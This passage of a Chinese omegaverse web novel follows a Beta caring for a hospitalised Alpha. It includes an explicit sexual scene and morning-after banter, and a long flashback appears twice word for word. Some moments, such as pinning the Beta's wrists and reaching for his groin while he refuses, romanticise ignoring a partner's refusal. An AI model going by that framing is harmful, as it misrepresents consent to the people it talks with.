明明感知到的喘.息偏于低冷,却会惹得Beta自己烧起温热。 青年只好把心神更多地专注在手中动作,不让自己去想太多。 只是最终的效果,却好像适得其反。 他越是全神贯注地去帮忙拢握,就会越清晰地察觉那搏跳的硬沉。 从顶至根。 仿佛整个轮廓,都被细致描摹。 黎白榆被那狰然的青筋顶压着,手部动作虽然青涩慢缓,却因为过近的贴磨和过久的帮忙,几乎连严野客的弧弯都被迫详尽地了解清楚了。 他不由更觉得对AO群体生出了佩服之心,居然能用这么……夸张的大件来完成标记。 ……真的不会成为凶器吗? 黎白榆本就素来有着和旁人不同的思路,这时更有一些难以言明的发散。 能承受住这种尺寸的…… 这得是多么厉害、多么天赋异禀的生.殖腔? 自然地,黎白榆也对眼下自己的帮忙生出了一分怀疑。 他不禁隐约开始动摇。 自己这样真的会有用吗? 黎白榆没有信息素,说起来,他其实也完全没有能称得上专业的技巧。 可是眼下他手中这么——这么凶悍的型号,按理说,应该也需要十足充沛的刺激,才可能会被满足。 就像现在,黎白榆都已经忍不住地换到了右手,让明显酸涩的左臂能稍稍缓和一下。 可是被他颀长手指所圈拢的重物,却依然没有一点将要顶峰的迹象。 只有耳畔压抑低哑的气息,和顶端溢出的微黏湿意,直白地显现出了Beta的动作所造成的影响。 但也正是因为多了湿漉的水声。 那些细微暖昧的声响更容易惹人耳热。 黎白榆努力地专注,尽力没有被其余的细节所分心,但也正因为这种专心,才让黎白榆在第一时间就发现。 Alpha不仅久到让他累得换手,甚至在黎白榆重新换回左手的时候,他还感觉—— 更难握住了。 ……这是变得更大了吗? 开玩笑吧…… 黎白榆单薄的后颈都有些隐隐发凉。 Alpha都是怪物吗? 到底是年轻气盛的Alpha们都是如此,还是严野客一个人天资优渥,对此,黎白榆已经根本无心去细想了。 黎白榆的确是有些贪凉,会亲近偏低的体温,在刚碰到严野客的冷硬时,也觉得凉凉的手感,很喜欢。 但此时面对这种尺寸的骇然,却实在让人很难再维持单纯的好感。 太大了。 黎白榆甚至忍不住想。 以后他老婆一定会很辛苦的…… Beta心底生出了一分发自肺腑的同情。 潜意识中,他其实已经完全排除了自己会承纳的可能。 因为黎白榆太清楚,他连生.殖.腔都没有,根本不会有能进入的空间。 这种凶物,自己这样的Beta怎么可能—— ……会直接顶到胃里吧? 就这样,久到黎白榆左手又隐隐发酸,人都开始胡思乱想的时候,他的耳畔却微微一凉。 轻缓的触感,却让耳廓本就敏敢的黎白榆反射性地微微颤粟了一下。 而轻吻了他耳朵的严野客也是等黎白榆抬头之后,才喑声地,低低开口:“抱歉。” “我之前可能忍得太多,导致这次的时间太久了。” 男人微微垂眼,英挺的眉廓在昏暗的光线中投影出一片薄淡的寥落。 “辛苦你了。” Alpha这么说,却让刚刚才亲身体会过“时间太长”的黎白榆,直接听得心软了。 “没关系……别这么想。” 黎白榆不想让严野客内疚,还安慰对方说。 “我不辛苦。” 相比Alpha之前所忍受的,自己的这些举手之劳,又能算得了什么呢? 听闻这话,严野客此时才抬眼。摘去了薄凉镜框的他目光灼灼,这样近距离看人时,更多了一分毫无遮挡的期待。 “那我,可以亲你吗?” 严谨隐忍的男人,连亲吻也会反复询问。 这般尊重着黎白榆的意愿。 黎白榆是典型的吃软也心软,被对方用这样期许的语气询问,就很容易会让步。 也很容易被得寸进尺。 “可以……”黎白榆轻声答应,尾音还没落下,就已然被吻得模糊不清,“唔……!” 唇瓣被吻住的同时,黎白榆的腕骨也被一股凉缓却不容挣脱的力度所圈住。 他的唇间多了一抹薄淡的凉意,在黎白榆还没有反应过来之前,他的齿列已经被顶开,被那薄冷的霜凉侵占了柔软的舌尖。 这已经完全不再是只碰唇畔的亲吻。 “……?!” 可是此时,Beta却连这个截然不同的深吻都无法去在意了。 因为更重的力度,还在凶悍地顶撞着他被钳锢的手。 薄软的指间细嫰被迫敞开,迎接大力的抵蹭和撞碾。从白皙的指腹,虎口到掌根,没有一寸指骨皮肤被遗漏。 尽皆被迫承受了沉甸的巨物。 原本细微的水声变得更为声响缠黏,混杂着拍撞发出的轻响,更是银靡得不堪细听。 真正由Alpha所激发的力度,远远有别于黎白榆自己动作时的生涩温缓。 而且严野客的份量实在太过骇人,动作间也不可能只撞蹭到手心。 直到腿测都传开嘶痛时,被吻到呼吸不畅的黎白榆才勉强回神,惊异地发现。 ——不只是手,他的腿也成了帮忙的一部分。 “唔嗯……!!” 尤其在全无防备的时刻,突然地被撞过某处之后,黎白榆更是腰线弓弯,瞬间紧绷。 他漂亮的水色双眸霎时睁圆,差点惊呼出声,身体下意识地退避后撤,连圈在他后腰的有力手臂,都险些没能将他稳稳地继续箍按。 还吻在黎白榆唇间的男人也垂眸看过来,这时才将过分深入的亲吻暂时地停歇了一瞬。 “抱歉……” 只是说话的时候,Alpha的薄唇还贴在黎白榆的唇畔,唇瓣开合也像是在轻浅地碰吻着他。 男人还问:“你需要我帮——” “不用!” 黎白榆差点被惊得一个激灵。 他刚刚被撞到的地方实在太过羞耻,连带着思维都全然被搅乱了,这时甚至完全忘了,所有的责任都要归咎于眼前这个Alpha。 匆忙无措的黎白榆只是磕磕绊绊地,迅速想要揭过这个话题。 “主要是给你帮忙,我不需要……” “嗯。” Alpha低声应了,又轻轻地落吻在了黎白榆的唇瓣。 “我知道的。” “只是觉得,这样显得我好自私……” 他慢慢吻着人。 “一直辛苦你,还忽略了你的感受。” “……” 黎白榆巴不得他此时能立刻忽略自己的感受。 因为黎白榆实在不想把这帮忙再牵扯出更多,也不觉得自己可能会有严野客那样的耐久。 就像现在,Alpha还在温缓地轻吻着他。 可是更下方的动作,却已经顶撞声颇为闷重。 粗得过分的冷硬,还依然会在黎白榆的腿上蹭磨。 直到最后,也是一同溅湿了Beta的手掌和蹆心。 黎白榆甚至不知道是什么时候结束的,明明纾解的是信息素紊乱的严野客,可最后更疲惫的人,却好像是他。 以至于气息稍稍平复之后,Alpha还起身将他抱回了隔壁的陪护床上,又随手将弄脏的床单掀掉。还拿了湿巾,去帮黎白榆擦拭仍有黏意的指缝和腿跟。 感觉到温热的湿润触感,手软腿痛的黎白榆动了动,伸手想要自己来。 可是刚刚才结束的Alpha却严肃地拒绝了他的提议,不仅亲手帮他清理干净,还一同睡到了更狭窄一分的陪护床上。 黎白榆的腰侧被圈抱住,唇角被轻亲。 他的侧颊和鼻梁也是,被Alpha细细密密地啄吻着,让他感觉自己仿佛变成了一只鸟雀。 耳边满是“啾”“啾”的轻软声音。 黎白榆知道生理教材上写过,一些Alpha在顶峰之后,会有一段短暂的渴肤期。 具体表现,就是喜欢黏着自己的伴侣,反复不间断地亲吻贴抱。 这种亲密温和的肌肤相触,给渴肤期的Alpha带来的愉悦感,甚至可能会和极致的顶峰时颇为相近。 但黎白榆也没想到,这时候的严野客居然会这么……黏人。 而且。 Beta模模糊糊地想。 教材不是还写了,会有渴肤期的,都是已经完成过永久标记的Alpha吗? “唔……” 怎么这个A还亲个没完了…… 过量的帮忙下,黎白榆的身体也早已疲累。昏昏沉沉间,他被人亲得更困。 Alpha微凉的体温也给他惬适的困意。虽然单人陪护床睡两个人很挤,但黎白榆还是这样睡了过去。 直到今早醒来,Beta才发现,自己的手上依然留有昨晚的后遗症。 而眼下,正帮他揉按手腕的男人眉眼寒峻,看起来依旧是一贯的冷淡。 完全没有了昨晚的黏人表现。 黎白榆长睫微动,抬眸看了过去。 而他才刚刚抬眼,Alpha似乎就瞬间察觉了他的视线。 男人微微俯身,靠了过来。 黎白榆下意识地微微屏住了呼吸,因为严野客离得很近,鼻梁交错,几乎要贴在他的前额。 不过Alpha并没有像昨晚那样过火地亲吻,他只是靠近了黎白榆,沉声问。 “下面还要揉一下吗?” 极近的距离里,严野客眸波沉稳,嗓音端静,看起来真的只是耐心、负责地在诚恳询问。 没有任何其他的心思不轨。 “我第一次,不熟练。” “有没有把你那里撞疼?” 第 35 章 035 第二天清早, 黎白榆醒来时,人已经身在陪护床上了。 陪护床没有病床那么宽敞,本身更是按单人的标准来设计的。 一同睡着两个人, 就难免会有些拥挤。 即使黎白榆身上还裹着一张薄被,他依然能清晰地感觉到紧拥着自己的、身后另一个人的体温。 室内很安静,身后的呼吸也低沉均匀。 似乎Alpha还在沉睡。 这是好事。至少证明病人这一夜休息好了。 而且他的体温也没再冰得吓人。 黎白榆默不作声地想着,慢吞吞地起身下床, 动作安静又轻缓, 没有发出一点声音。 他静悄悄地踩着拖鞋去了洗漱间, 路过光.裸的、没了床单的病床时,也没有多看。 直到关好房门, 旋开水龙头时, 汩汩的水流才终于发出了些许轻微声响。 黎白榆也在水声之下, 轻轻地揉了揉自己的手腕。 接着,他低头洗漱,依旧闷声未言。 只是动作间,还是感觉。 ……手有点酸。 不止是手腕,其实手心, 掌根, 甚至包括虎口, 都有使用过度后留下的微微酸胀感。 因为伤势未愈而动得较少的右手要稍微好一点,但惯用的左手却不同了。 连薄嫩的指根, 都还有些微微泛红。 黎白榆没有去细看, 只弯下腰去, 掬起清水洗脸。 他在尽量避免自己回想起过多的昨晚细节,让思绪能保持的更纯粹一点。 黎白榆几乎要成功了。 但等他洗完脸起身,伸手拿棉巾擦脸时, 动作却倏然一顿。 “……” 因为在他的面前,清晨敞亮的镜子中,居然不知何时,多了一个明显高出黎白榆的身影。 “睡得好吗?”男人的声音里还带一点初醒的低哑,“起得好早。” “……” 黎白榆收回视线,慢慢把脸擦干净,又把棉巾扔进垃圾桶,这时才低低开口。 “不早了。” 确实不算早,比黎白榆平日的起床时间已经晚了一个多小时。 而他的身后,造成晚起的罪魁祸首一步走过来,直接和黎白榆一同站在了洗漱台前。 因为刚醒,男人额前的发丝还带着一点不同平日的微微凌乱。 Alpha的身形修长高挑,宽肩窄腰,他整个人的存在感太强,实在无法被忽略,让黎白榆下意识地往旁边让了让。 但不用于黎白榆的所想,严野客却没有要同时洗漱的意思。 他只是单臂半撑在洗漱台,手臂因动作而勾勒出的线条极富力量感。男人就这样侧身,专注地看向了黎白榆。 “你的手有没有事?” “……” 黎白榆低着头把洗漱杯摆好,用更低的声音说了一句。 “没事。” 话才说完,他的小臂就被身旁的男人握住了。 黎白榆顿了下,没有阻止。 Beta的手被拉了过去,掌心向下,瘦白的手搭握在严野客的手掌之中。 两人的手指同样修长,手掌的肤色和手腕的粗细却有着鲜明的对比。 因为贫血,黎白榆的皮肤一直是带点苍白的冷白色,他的手背更没有像严野客那样,连指骨上都盘踞着微微鼓胀的青筋。 眼见男人捉握着他的手查看了好一会儿,黎白榆终是没忍住,说了一句。 “我会努力补上的。” “?”严野客抬眼,淡声问,“补上什么?” 黎白榆却说得很是正色。 “良好的体魄!” “……” 严野客没说话,轻轻捏了捏他纤软的手指尖。 可爱。 白榆和他的手都是。 没察觉到自己的手已经在被人握去把玩的Beta,这时还想起了另一件正事。 “啊,床单……” 严野客好脾气地解释。 “已经叫了人来处理。” 黎白榆怔了怔,后知后觉地有一分窘促。 那……如果被看到了弄脏的床单,岂不是也被会猜到昨晚发生了什么? 恰在此时,和洗漱间一墙之隔的走廊里传来了医护人员的交谈和脚步声。 黎白榆意识到这是早上查房的时间要到了,忙把Alpha推出了洗漱间。 “先等查房吧。” 走出洗漱间,黎白榆果然看到病房内已经光线敞亮,窗帘也被拉开。 昨晚草草被撤下的床单已经被拿走了,还有两位带着手套、家政服务打扮的人,正在利落地清扫地面、铺新床单。 黎白榆在旁边看着,总忍不住会想起床单背后的事情。 他站得难安,索性又折返回了洗漱间,快速去冲了个澡。 冲洗结束后,隔着洗漱间的门,黎白榆也听到外面传来的声音。 查房已经查到了这一间,医生正在检查病人的状况。 黎白榆并不清楚自己昨晚的工作有没有用,能不能真的帮上忙。 因此在隔着门听到医生讲,病人的信息素指标趋于稳定时,他不由明显地松了口气。 至少没添乱就好。 事实上,对今早的状况,医生们都显得有些意外。 因为严先生的信息素昨日还有明显波动,今天却突然好转。变化之明显,让医生都有点疑虑。 是不是……有什么特殊诱因? 被医生询问时,严野客抬眼,刚好看到黎白榆从洗漱间出来。 Alpha的回答也很淡然,只道:“没什么,心情好。” 心情好? 医生们听得狐疑。 不过病人这次的信息素紊乱确实和情绪有关,医生们正思索着,却纷纷闻到了一抹从身后传来的熟悉味道。 他们回头,看到走过来的黎白榆,不由顿了顿。 没看错的话,这位是Beta吧?还刚刚洗完澡。 那他身上的味道…… 医生们对视了一眼,好像明白了什么,拿着病历的那位开始刷刷写起了笔记。 对此,黎白榆本人却一无所觉。 等查房的医生们走后,黎白榆看了一眼整洁的、重回安静的房间。 此时病房里只剩下了他和严野客两个人。 等严野客从洗漱间出来,黎白榆便问他。 “早餐想吃什么?我去买。” 严野客却没回答,只说:“保镖已经去了。” 他反而朝人抬手:“过来。” 黎白榆有些茫然,但还是走了过去。 一走近,他的左手就再度被人牵握住了。 这次,Alpha不仅是查看,还上手帮他揉按了起来。 “……” 黎白榆哑然,想收回手也已经太晚。 回想起再难压抑的昨夜记忆,青年险些没撑住一贯清冷的神色。 昨晚,才刚刚用手圈住没多久,黎白榆就发现了新的问题。 因为直径太粗,严野客不仅会难以被用一只手握住,等到Beta勉强握拢了,生涩地开始动作时。 还很容易会引起虎口的酸胀。 皮肤薄白的掌心被蹭磨着,虎口也一样。饱胀的青筋再没了掩饰,此时毫无阻隔地紧紧蹭抵着黎白榆的手心。 让他过分清晰地掌握着对方的一下下搏跳。 耳边还有沉缓压抑的低.喘,微凉的气息拂过黎白榆的耳畔。 没来由地,居然会让Beta无端联想到性.感。 黎白榆的五感一向比较灵敏,听力也是,在这昏晦的环境中,视线不佳,听觉本能地代偿,更是会将细节放大百倍。 尤其当Alpha侧脸过来,薄唇擦过他的耳畔。 更让黎白榆这时才发现,自己的耳廓居然也如此敏敢。 明明感知到的喘.息偏于低冷,却会惹得Beta自己烧起温热。 青年只好把心神更多地专注在手中动作,不让自己去想太多。 只是最终的效果,却好像适得其反。 他越是全神贯注地去帮忙拢握,就会越清晰地察觉那搏跳的硬沉。 从顶至根。 仿佛整个轮廓,都被细致描摹。 黎白榆被那狰然的青筋顶压着,手部动作虽然青涩慢缓,却因为过近的贴磨和过久的帮忙,几乎连严野客的弧弯都被迫详尽地了解清楚了。 他不由更觉得对AO群体生出了佩服之心,居然能用这么……夸张的大件来完成标记。 ……真的不会成为凶器吗? 黎白榆本就素来有着和旁人不同的思路,这时更有一些难以言明的发散。 能承受住这种尺寸的…… 这得是多么厉害、多么天赋异禀的生.殖腔? 自然地,黎白榆也对眼下自己的帮忙生出了一分怀疑。 他不禁隐约开始动摇。 自己这样真的会有用吗? 黎白榆没有信息素,说起来,他其实也完全没有能称得上专业的技巧。 可是眼下他手中这么——这么凶悍的型号,按理说,应该也需要十足充沛的刺激,才可能会被满足。 就像现在,黎白榆都已经忍不住地换到了右手,让明显酸涩的左臂能稍稍缓和一下。 可是被他颀长手指所圈拢的重物,却依然没有一点将要顶峰的迹象。 只有耳畔压抑低哑的气息,和顶端溢出的微黏湿意,直白地显现出了Beta的动作所造成的影响。 但也正是因为多了湿漉的水声。 那些细微暖昧的声响更容易惹人耳热。 黎白榆努力地专注,尽力没有被其余的细节所分心,但也正因为这种专心,才让黎白榆在第一时间就发现。 Alpha不仅久到让他累得换手,甚至在黎白榆重新换回左手的时候,他还感觉—— 更难握住了。 ……这是变得更大了吗? 开玩笑吧…… 黎白榆单薄的后颈都有些隐隐发凉。 Alpha都是怪物吗? 到底是年轻气盛的Alpha们都是如此,还是严野客一个人天资优渥,对此,黎白榆已经根本无心去细想了。 黎白榆的确是有些贪凉,会亲近偏低的体温,在刚碰到严野客的冷硬时,也觉得凉凉的手感,很喜欢。 但此时面对这种尺寸的骇然,却实在让人很难再维持单纯的好感。 太大了。 黎白榆甚至忍不住想。 以后他老婆一定会很辛苦的…… Beta心底生出了一分发自肺腑的同情。 潜意识中,他其实已经完全排除了自己会承纳的可能。 因为黎白榆太清楚,他连生.殖.腔都没有,根本不会有能进入的空间。 这种凶物,自己这样的Beta怎么可能—— ……会直接顶到胃里吧? 就这样,久到黎白榆左手又隐隐发酸,人都开始胡思乱想的时候,他的耳畔却微微一凉。 轻缓的触感,却让耳廓本就敏敢的黎白榆反射性地微微颤粟了一下。 而轻吻了他耳朵的严野客也是等黎白榆抬头之后,才喑声地,低低开口:“抱歉。” “我之前可能忍得太多,导致这次的时间太久了。” 男人微微垂眼,英挺的眉廓在昏暗的光线中投影出一片薄淡的寥落。 “辛苦你了。” Alpha这么说,却让刚刚才亲身体会过“时间太长”的黎白榆,直接听得心软了。 “没关系……别这么想。” 黎白榆不想让严野客内疚,还安慰对方说。 “我不辛苦。” 相比Alpha之前所忍受的,自己的这些举手之劳,又能算得了什么呢? 听闻这话,严野客此时才抬眼。摘去了薄凉镜框的他目光灼灼,这样近距离看人时,更多了一分毫无遮挡的期待。 “那我,可以亲你吗?” 严谨隐忍的男人,连亲吻也会反复询问。 这般尊重着黎白榆的意愿。 黎白榆是典型的吃软也心软,被对方用这样期许的语气询问,就很容易会让步。 也很容易被得寸进尺。 “可以……”黎白榆轻声答应,尾音还没落下,就已然被吻得模糊不清,“唔……!” 唇瓣被吻住的同时,黎白榆的腕骨也被一股凉缓却不容挣脱的力度所圈住。 他的唇间多了一抹薄淡的凉意,在黎白榆还没有反应过来之前,他的齿列已经被顶开,被那薄冷的霜凉侵占了柔软的舌尖。 这已经完全不再是只碰唇畔的亲吻。 “……?!” 可是此时,Beta却连这个截然不同的深吻都无法去在意了。 因为更重的力度,还在凶悍地顶撞着他被钳锢的手。 薄软的指间细嫰被迫敞开,迎接大力的抵蹭和撞碾。从白皙的指腹,虎口到掌根,没有一寸指骨皮肤被遗漏。 尽皆被迫承受了沉甸的巨物。 原本细微的水声变得更为声响缠黏,混杂着拍撞发出的轻响,更是银靡得不堪细听。 真正由Alpha所激发的力度,远远有别于黎白榆自己动作时的生涩温缓。 而且严野客的份量实在太过骇人,动作间也不可能只撞蹭到手心。 直到腿测都传开嘶痛时,被吻到呼吸不畅的黎白榆才勉强回神,惊异地发现。 ——不只是手,他的腿也成了帮忙的一部分。 “唔嗯……!!” 尤其在全无防备的时刻,突然地被撞过某处之后,黎白榆更是腰线弓弯,瞬间紧绷。 他漂亮的水色双眸霎时睁圆,差点惊呼出声,身体下意识地退避后撤,连圈在他后腰的有力手臂,都险些没能将他稳稳地继续箍按。 还吻在黎白榆唇间的男人也垂眸看过来,这时才将过分深入的亲吻暂时地停歇了一瞬。 “抱歉……” 只是说话的时候,Alpha的薄唇还贴在黎白榆的唇畔,唇瓣开合也像是在轻浅地碰吻着他。 男人还问:“你需要我帮——” “不用!” 黎白榆差点被惊得一个激灵。 他刚刚被撞到的地方实在太过羞耻,连带着思维都全然被搅乱了,这时甚至完全忘了,所有的责任都要归咎于眼前这个Alpha。 匆忙无措的黎白榆只是磕磕绊绊地,迅速想要揭过这个话题。 “主要是给你帮忙,我不需要……” “嗯。” Alpha低声应了,又轻轻地落吻在了黎白榆的唇瓣。 “我知道的。” “只是觉得,这样显得我好自私……” 他慢慢吻着人。 “一直辛苦你,还忽略了你的感受。” “……” 黎白榆巴不得他此时能立刻忽略自己的感受。 因为黎白榆实在不想把这帮忙再牵扯出更多,也不觉得自己可能会有严野客那样的耐久。 就像现在,Alpha还在温缓地轻吻着他。 可是更下方的动作,却已经顶撞声颇为闷重。 粗得过分的冷硬,还依然会在黎白榆的腿上蹭磨。 直到最后,也是一同溅湿了Beta的手掌和蹆心。 黎白榆甚至不知道是什么时候结束的,明明纾解的是信息素紊乱的严野客,可最后更疲惫的人,却好像是他。 以至于气息稍稍平复之后,Alpha还起身将他抱回了隔壁的陪护床上,又随手将弄脏的床单掀掉。还拿了湿巾,去帮黎白榆擦拭仍有黏意的指缝和腿跟。 感觉到温热的湿润触感,手软腿痛的黎白榆动了动,伸手想要自己来。 可是刚刚才结束的Alpha却严肃地拒绝了他的提议,不仅亲手帮他清理干净,还一同睡到了更狭窄一分的陪护床上。 黎白榆的腰侧被圈抱住,唇角被轻亲。 他的侧颊和鼻梁也是,被Alpha细细密密地啄吻着,让他感觉自己仿佛变成了一只鸟雀。 耳边满是“啾”“啾”的轻软声音。 黎白榆知道生理教材上写过,一些Alpha在顶峰之后,会有一段短暂的渴肤期。 具体表现,就是喜欢黏着自己的伴侣,反复不间断地亲吻贴抱。 这种亲密温和的肌肤相触,给渴肤期的Alpha带来的愉悦感,甚至可能会和极致的顶峰时颇为相近。 但黎白榆也没想到,这时候的严野客居然会这么……黏人。 而且。 Beta模模糊糊地想。 教材不是还写了,会有渴肤期的,都是已经完成过永久标记的Alpha吗? “唔……” 怎么这个A还亲个没完了…… 过量的帮忙下,黎白榆的身体也早已疲累。昏昏沉沉间,他被人亲得更困。 Alpha微凉的体温也给他惬适的困意。虽然单人陪护床睡两个人很挤,但黎白榆还是这样睡了过去。 直到今早醒来,Beta才发现,自己的手上依然留有昨晚的后遗症。 而眼下,正帮他揉按手腕的男人眉眼寒峻,看起来依旧是一贯的冷淡。 完全没有了昨晚的黏人表现。 黎白榆长睫微动,抬眸看了过去。 而他才刚刚抬眼,Alpha似乎就瞬间察觉了他的视线。 男人微微俯身,靠了过来。 黎白榆下意识地微微屏住了呼吸,因为严野客离得很近,鼻梁交错,几乎要贴在他的前额。 不过Alpha并没有像昨晚那样过火地亲吻,他只是靠近了黎白榆,沉声问。 “下面还要揉一下吗?” 极近的距离里,严野客眸波沉稳,嗓音端静,看起来真的只是耐心、负责地在诚恳询问。 没有任何其他的心思不轨。 “我第一次,不熟练。” “有没有把你那里撞疼?” 第 36 章 036 ……下面? 严野客的话, 让黎白榆瞬间回想起了自己昨晚意外被碰到的脆弱部位。 那种突然的、意外的,毫无防备、有如触电一般的陌生感觉,让他此时依旧记忆如新。 甚至就连此刻的尾椎, 都不由生出了一种微微酥麻的不安感。 “……” 男人离得很近,被他盯看着的黎白榆却挪开了目光。 Beta声音不是很大地回答。 “揉了不是会更疼吗?” 严野客稍顿,冷峭的眉峰微微蹙起。 “真的弄伤了?” Alpha立时伸手过来,直接探向了黎白榆的腿间。 黎白榆被惊得微怔, 下意识用手去拦。 “……我没事。” 他们的手贴撞在一起, 黎白榆看到严野客依旧长眉未展, 声线也比方才更沉冷严肃了一分。 “让我看看,有没有破皮。” “……?” 黎白榆哪能同意, 只顾摇头。 他还想继续拦住对方探来的手掌, 可是自己的两只手腕却被人只用单手就轻而易举地钳箍住了。 对Alpha伸来的另一只手, 他就完全没有了挣拒的可能。 “没有……!” 没办法,黎白榆只能硬着头皮开口。 “就只撞到了一下,怎么可能破皮?” 严野客闻言,却微顿了顿。 他再看向Beta的眼神,便更多了一分意味不明的高深。 “你以为是那里吗?” 严野客嗓音平静地问。 “我刚才是想问你的大腿有没有磨破。” “…………” 黎白榆哑口无言, 这时才发现自己误会了什么。 又暴露了多少。 昨夜蹆间被撞蹭到的那一下记忆太深, 导致黎白榆下意识地联想到了那边。 他知道这是自己的问题, 因为严野客问的确实很有道理。 清晨冲澡的时候,黎白榆就发现, 自己的大腿内测的确被磨得有些泛红微肿。 可能和手部的酸麻一样, 都是因为昨晚被.操劳得太久……太多了。 眼前的Alpha仍在低眸盯望, 捉困住黎白榆双腕的手掌还青筋微跳,指腹轻轻蹭抹过了青年腕间微微凸起的瘦白骨节。 他还在等黎白榆的回答。 黎白榆却是深深吸了口气,没说话, 也没有抬眼。 他闷头直接把严野客给推开了,转身去了洗漱间。 美人径直离开的气势颇有些冷淡,让人看着便不好再贸然接近,惹他厌烦。 但严野客却仍是跟了过来。 严野客还站在洗漱间的门边,抬臂半搭在门框,淡淡开口,听起来很贴心地询问玻璃镜前的Beta。 “自己检查方便吗?” “我不是要检查!” 黎白榆淡色的唇线抿直,否认的声音也有点点大。 严野客还是很好说话,平心静气地问他。 “那要做什么?” “我要拿手机,”黎白榆手中拿起的,也确实是他刚刚忘在这里的手机,“搜健身房。” “?” 严野客眉梢轻抬。 “为什么搜这个?” “看哪里能去练腿。” 黎白榆说得很严肃。 他也真的立时在手机上搜起了健身房,还念出了人家宣传用的标语。 “要练出结实有力的强悍大腿,有力结实的健壮手臂!” 这话讲得非常合黎白榆的心意。 他不想再做大腿轻易被磨破的不可靠菜鸟了。 严野客:“噢。” 男人的目光落在黎白榆身上,将他从头到脚地打量了一番——就像严野客平时也总是在做的那样。 不过这次看完,Alpha还适时地给出了建议。 “你的骨骼有点单薄,不太适合高强度的训练,和大围度的增肌。” 严野客说得很客观。 “不过你有个很明确的优势。” 黎白榆的注意力被这样专业的评语所吸引:“什么优势?” “韧带软。”严野客道,“所以你的柔韧性很好,能做一些大角度的动作,不容易受伤。” 他仍盯看着黎白榆,最后也还是没把话说完。 除了柔韧度强,腰软。黎白榆的优势还有一点—— 屁股翘。 Beta的腰本来就细,从正面看,都有着明显收窄的削薄廓线。 从侧面看,就更是惑人惹眼。 薄窄的腰线和盈润的臀廓对比出明显的弧线,柔圆的翘度在宽松的长裤之下,依然很难被真正遮没。 昨晚严野客圈饱过Beta的后腰时,还意外地、不小心压按到过更靠下一寸的软盈。 那种触感,只会让人在强行冷静之后,更生出不满。 ——为什么不能用两只手掌去满握住,用力饱揉。 严野客健身多年,知道这种条件就是天生的,后天想练都很难达到。 就像黎白榆整个身形这般颀长削瘦,却唯独在最软的部位多长了肉。 严野客其实也有点想不通。 怎么会有这种面容清绝的大美人,腰肢身骨和臀线却这么软。 ——他老婆怎么这样? 而镜前的黎白榆闻言,却是真的在低头检查自己的韧带。 青年还伸手,好奇地去捏了捏自己的腿筋。 他这么厉害吗? 直到再抬头,看到严野客的目光时,黎白榆才明显地愣了愣。 “怎么了?” 干嘛这样看他? “没什么。”严野客收敛了一分,很及时地将自己的眼神藏住了。 他只道。 “你想练腿的话,我可以为你推荐一些针对性动作。” 而在心底,Alpha已经计划好了。 准备出院后就去考一个健身教练证。 黎白榆的训练计划暂时中止于被保镖买回来的早餐。 托VIP病房的福,黎白榆这个陪护的三餐也是被依据他本人条件而额外定制的。 早餐便是很清淡、好消化的鲜汤面线。 吃过早饭,又有护士过来,通知病人去做检查。 黎白榆也跟着严野客一起去了。 检查的项目比较繁琐,黎白榆等在外面,还在想。 今天,严野客的体温好像也没那么凉了。 这基本上和黎白榆的设想一样。Alpha会在诸如易感期等信息素过量溢出的时候体温降低,平时的状况都还正常。 那等严野客的信息素不再紊乱之后,他的……嗯,那里还会是凉的吗? 应该会热一点吧? 就和普通人一样,不影响正常姓交。顶多在严野客两月一次的易感期时,会明显地冷上几天。 黎白榆的思绪还又发散了一点。 那未来那个天赋异禀的生.殖腔,岂不是还要冷热都能接纳才行……? ……唔。 的确是有点辛苦。 把思路拉回正途,黎白榆还有一点疑惑。 严野客为什么会出现这种情况?Alpha的信息素还会影响到体温吗? 黎白榆的部分研究与信息素有关,但在过往的资料中,似乎也没有见过类似的案例。 严野客这种状况,如果真的能证明他的信息素与体温具有明确的强相关,那在学术领域,也是一个非常值得关注的特殊个体。 真要把相关研究做出来,可能都不仅仅只是一篇顶刊论文的成果。 不过现在Alpha还病着,黎白榆自然不会做什么折腾病人的盘算。 他只是还有点好奇。 既然如此,那严野客的信息素会是什么? 因为完全闻不到信息素,黎白榆至今不清楚严野客的信息素气味。 他之前也想过询问,但又总觉得自己这么问,会有一点越界。 毕竟在AO之间,如此直白地询问信息素相关,基本就和暗示性信息没什么区别。 黎白榆知道有的AO会很介意这个。 之前黎白榆和李景煦假作情侣时,他也没贸然去问过李景煦的信息素是什么味道。 还是最近,清楚黎白榆信息素失嗅的衣明诀告诉他的——李景煦的信息素气味,是释迦果。 那严野客的味道是什么,也会是可以吃的吗? 想到吃的,黎白榆的第一反应就是他的白月光。 ——白切鸡? 一想到靓鸡,黎白榆就不由有点饿。 检查等了这么久,早上的面线好像也消化得差不多了。 于是他就忍不住地多想了一点。 或者盐焗鸡,豉油鸡? 脆皮鸡也好啊…… 这样Alpha做鸡之所以会那么好吃,好像也有了最完美的解释。 思及此,黎白榆反而有点庆幸自己闻不到信息素。 不然,对他而言,严野客的杀伤力就太强了。 黎白榆甚至觉得,倘若如此,自己可能真的会像之前误会的那样,对严野客生出强制之心。 要是在北美,他就更可能会天天跟着对方闻…… 从学术发散到靓鸡的黎白榆思考了很多,不过这并没有影响到他的五感。 在又换到一间新的检查室,等待Alpha检测出来时,黎白榆还意外听到了操作室里,两位工作人员的交谈。 “这位就是腺体损伤过的患者吗?” “对,已经预先标记过了,等下开仪器的时候也小心一点……” 厚厚的操作室房门被关闭,交谈的声音也被就此隔绝。 不过黎白榆还是听到了最关键的词语。 腺体损伤。 严野客的腺体真的受伤了? 这点黎白榆之前也隐有猜测,只是这时才被真正印证。 难怪Alpha的易感期会突然提前,这次还生出了意料之外的紊乱。 他也并不清楚,严野客的腺体为什么会受伤。 黎白榆之前看过Alpha的体检单,对方上个月的状况还好好的,那受伤的时间理应离现在很近。 这个月出的事……那是在自己昏迷前? 黎白榆又想到昨晚,严野客事后的渴肤期,似乎也有点黏人到异常。 不知道是不是也受了腺体损伤的影响。 是因为自己没有信息素,无法真正抚慰Alpha。 才会导致对方未能满足吗? 黎白榆还在思忖,却听一旁传来了声音。 “黎先生?” 黎白榆抬头,发现是位穿着白大褂的年轻医生,正插着兜偏头看他。 “真的是你,在等严少做检查吗?” 黎白榆认出这位是清早查房时的医生之一,对方正是当时刷刷写病历的那个人。 他向人略一颔首,以作回答。 年轻医生对这位相貌过于出色的美人Beta也颇有印象,他还抬头,看了看检查室门边的显示屏。 “还要等一会儿呢,要来办公室坐一下吗?那边冷气会足一点。” 正值盛夏,虽然医院里各处都有空调,但被窗外阳光正面直晒的走廊,还是会有些许的闷燥。 黎白榆闻言,怔了怔。 不过他正巧有些事想询问医生,在确认过这项检查仍需要不少时间之后,黎白榆便跟着对方,去了不远处的办公室。 